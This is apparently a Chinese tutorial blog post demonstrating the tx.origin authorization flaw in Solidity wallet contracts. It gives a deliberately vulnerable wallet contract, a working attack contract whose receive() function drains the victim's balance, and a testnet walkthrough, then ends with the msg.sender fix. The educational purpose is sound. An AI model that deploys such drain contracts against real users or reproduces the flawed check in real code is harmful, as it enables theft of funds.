区块链合约安全系列（一）公链合约权限校验引发的严重安全问题

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公众号：BSN 研习社

背景：由于公链环境下所有的信息都是共享的，智能合约相当于是透明的，任何人只需知道其地址就可以调用内部的方法，所以开发者在开发合约时，逻辑判断一般会添加一下权限的校验，以提高其安全性。但是有时候对其了解不深，会带来一些潜在的隐藏 bug。

目标：验证当合约内部使用 tx.origin 做权限校验时，攻击者可以绕过逻辑约束进行资金盗取。

对象：适用于用 Solidity 语言开发的智能合约，例如 BSN 中的武汉链(基于 ETH）和泰安链（基于 fisco bcos）上运行的智能合约。

环境准备

•两个合约文件，一个为用户钱包合约（TxUserWallet ），另一个为攻击钱包合约（TxAttackWallet ）。

•两个账户，分别为以上两个合约的 owner。预制为 TxUserWallet owner:

0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9

TxAttackWallet owner:

0x5adaCf91A3C4e9a7541f0dA89dC575354C075941

合约文件_TxUserWallet.sol_如下图所示：

// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.7.0 <0.9.0;// THIS CONTRACT CONTAINS A BUG - DO NOT USEcontract TxUserWallet {    address owner;
    event Deposit(uint256 balance);    constructor() payable {        owner = msg.sender;    }
    function supplyFunds() payable public {        emit Deposit(msg.value);    }
    function transferTo(address payable dest, uint amount) public {        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin        require(tx.origin == owner);        dest.transfer(amount);    }
    function balanceOf() public view returns(uint){        return address(this).balance;    }
    function withdraw() public {       payable(owner).transfer(address(this).balance);    }
}

合约文件_TxAttackWallet.sol_如下图所示：

// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.7.0 <0.9.0;interface TxUserWallet {     function transferTo(address payable dest, uint amount) external;}
contract TxAttackWallet {    address payable owner;    TxUserWallet userWallet;    constructor(TxUserWallet userWalletAddr) {        owner = payable(msg.sender);        userWallet = userWalletAddr;    }
    function balanceOf() public view returns(uint){        return address(this).balance;    }
    receive() external payable {        userWallet.transferTo(owner, address(userWallet).balance);    }}

合约部署使用 remix 分别部署两个合约 1.部署合约 TxUserWallet 的过程截图

合约部署成功的截图如下

2.部署合约 TxAttackWallet 的过程截图注意：部署的时候需要将“用户钱包合约的地址”进行预制，用于后续攻击时使用。

合约部署成功的截图如下

攻击测试

攻击原理为诱骗合约 TxUserWallet 的 owner 对合约 TxAttackWallet 进行转账操作。因为技术上当合约 TxAttackWallet 接受 ether 时会触发 receive()方法，从而进行对 TxUserWallet 合约进行盗取 ether。

为方便做对比，我们在转账操作之前先截图一下用户钱包合约以及攻击合约的 owner 的账户余额

现在使用 TxUserWallet 的 owner 账户对合约 TxAttackWallet 进行转账操作。即 使用账户 0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9 向合约账户 0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd 转账 0.001（金额任意）。

转账交易记录 https://ropsten.etherscan.io/tx/0x779ec2ef110f684fc20080f28ec840e2f11872bdd87775efef7228408ed5948d

转账操作成功后，我们来查看一下 TxUserWallet 拥有的 0.00002 Ether 是否被盗取了，截图如下

上图可以看出余额已变为零，接下来看一下 TxAttackWallet 的 owner 账户余额，截图如下

上图可以发现一笔 0.00002 Ether 转账记录，同时对比余额变动，至此已盗取成功。

结论综上发现，当我们使用 tx.origin 做校验时，得到的是_交易原始签名地址而不是攻击合约的地址_，从而绕过了业务约束逻辑，将所有资金进行了转移操作。

另外，那如何进行修复呢？只需要将 tx.origin 改为 msg.sender 去做校验即可。有兴趣的可以试一下。